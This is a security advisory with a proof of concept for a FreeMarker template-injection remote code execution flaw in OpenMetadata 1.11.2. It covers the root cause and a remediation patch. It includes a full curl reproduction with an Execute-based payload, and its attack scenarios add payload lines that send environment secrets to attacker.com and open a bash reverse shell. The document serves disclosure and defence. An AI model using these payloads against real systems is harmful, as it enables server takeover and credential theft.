# OpenMetadata RCE Vulnerability - Proof of Concept
## Executive Summary
**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.
## Credit
- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud
## Vulnerability Details
### 1. Root Cause
File: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`
**Lines 35-45** contain unsafe FreeMarker template instantiation:
```java
public Template getTemplate(String templateName) throws IOException {
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE
if (nullOrEmpty(template)) {
throw new IOException("Template content not found for template: " + templateName);
}
return new Template(
templateName,
new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE
new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!
}
```
**Missing Security Controls**:
- ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation
- ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection
- ❌ No input validation - Template content not sanitized
### 2. Attack Vector (VERIFIED)
**Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint
```bash
PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
}
]
```
**Step 2**: Malicious template stored in MySQL database:
```sql
SELECT name, JSON_EXTRACT(json, '$.data.template')
FROM docstore
WHERE name = 'account-activity-change';
-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...
```
**Step 3**: Trigger template rendering via email notification:
- Password change
- User invitation
- Account activity notification
- Test email (if SMTP configured)
**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:
```java
Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!
```
---
## Exploit Verification
### Environment
- **Version**: OpenMetadata 1.11.2 (Latest)
- **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)
- **Test Date**: December 15, 2025
### Step-by-Step Reproduction
#### 1. Deploy OpenMetadata 1.11.2
```bash
cd docker
./run_local_docker.sh -m no-ui -d mysql
```
**Result**: ✅ OpenMetadata running on localhost:8585
#### 2. Obtain Admin JWT Token
```bash
export NO_PROXY=localhost,127.0.0.1
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
-H "Content-Type: application/json" \
-d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \
| grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)
echo "Token: ${TOKEN:0:50}..."
```
**Result**: ✅ Token obtained (654 characters, 1-hour expiry)
#### 3. Identify Target Template
```bash
# Get testMail template ID (used by test email endpoint)
curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.data[] | select(.name=="testMail") | .id'
```
**Result**: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb`
#### 4. Inject RCE Payload
```bash
curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
-H "Content-Type: application/json-patch+json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
}]'
```
**Result**: ✅ **HTTP 200 OK** - Template modified successfully
**Response Excerpt**:
```json
{
"id": "855f58c6-1b80-467a-b92e-71c425e9bfdb",
"name": "testMail",
"entityType": "EmailTemplate",
"data": {
"template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
},
"changeDescription": {
"fieldsUpdated": [
{
"name": "data",
"oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}",
"newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}"
}
]
}
}
```
#### 5. Setup SMTP Server
```bash
# Start MailDev SMTP server (catches emails for verification)
docker run -d --name fakesmtp \
--network linhln31_default \
-p 1025:1025 -p 1080:1080 \
maildev/maildev:latest
# Update OpenMetadata SMTP configuration
docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \
-Dopenmetadata_db -e "UPDATE openmetadata_settings
SET json=JSON_SET(json,
'$.serverEndpoint', 'fakesmtp',
'$.serverPort', 1025,
'$.transportationStrategy', 'SMTP',
'$.enableSmtpServer', true,
'$.senderMail', 'noreply@openmetadata.org'
)
WHERE configType='emailConfiguration';"
# Restart OpenMetadata to load new SMTP config
docker restart om_server
sleep 50 # Wait for server startup
```
**Result**: ✅ SMTP server ready at fakesmtp:1025
#### 6. Trigger RCE Execution
```bash
curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"email":"test@test.com"}'
```
**Result**: ✅ **HTTP 200 OK** - "Test Email Sent Successfully."
#### 7. Verify RCE Execution
```bash
# Check email content in MailDev
docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10
```
**Result**: ✅ **RCE CONFIRMED!**
**Email Content**:
```
Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)
From: noreply@openmetadata.org
To: test@test.com
Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>
Subject: OpenMetadata : Test Email
MIME-Version: 1.0
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
RCE OUTPUT: openmetadata
- /opt/openmetadata
```
**Command Execution Proof**:
- ✅ `whoami` command executed → returned `openmetadata`
- ✅ `pwd` command executed → returned `/opt/openmetadata`
- ✅ Commands ran as server process user
- ✅ Full arbitrary command execution achieved
---
## Attack Scenarios
### Scenario 1: Privilege Escalation
1. Attacker compromises Admin account (phishing, credential stuffing, etc.)
2. Injects RCE payload into `password-reset` template
3. Triggers password reset for target user
4. RCE executes as OpenMetadata server user during email rendering
5. Attacker gains shell access to application server
### Scenario 2: Data Exfiltration
```freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}
```
Exfiltrates environment variables containing:
- Database credentials
- API keys and secrets
- JWT signing keys
- Cloud provider credentials
### Scenario 3: Reverse Shell
```freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}
```
Establishes persistent access for:
- Interactive command execution
- Lateral movement to connected systems
- Database direct access
- Kubernetes cluster compromise (if containerized)
---
## Impact Assessment
### Technical Impact
- **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets
- **Integrity**: **HIGH** - Full control over OpenMetadata application and data
- **Availability**: **HIGH** - Ability to crash application, delete data, deny service
### Business Impact
- **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage
- **Compliance**: GDPR, SOC2, HIPAA violations if exploited
- **Reputation**: Critical security failure in data governance platform
- **Supply Chain**: Potential pivot to connected data sources (70+ connectors)
### CVSS 3.1 Score
```
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
```
- **Attack Vector (AV)**: Network (N)
- **Attack Complexity (AC)**: Low (L) - Simple API requests
- **Privileges Required (PR)**: High (H) - Admin role required
- **User Interaction (UI)**: None (N)
- **Scope (S)**: Changed (C) - Impacts beyond application (server OS)
- **Confidentiality (C)**: High (H)
- **Integrity (I)**: High (H)
- **Availability (A)**: High (H)
**Score**: **9.1 (CRITICAL)**
---
## Remediation
### Immediate Fix (CRITICAL)
**File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`
**Replace lines 38-42 with:**
```java
public Template getTemplate(String templateName) throws IOException {
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate();
if (nullOrEmpty(template)) {
throw new IOException("Template content not found for template: " + templateName);
}
// SECURITY FIX: Create sandboxed FreeMarker configuration
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// Block dangerous built-ins
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
cfg.setClassicCompatible(false);
// Restrict template loading
cfg.setTemplateLoader(new StringTemplateLoader());
return new Template(templateName, new StringReader(template), cfg);
}
```
---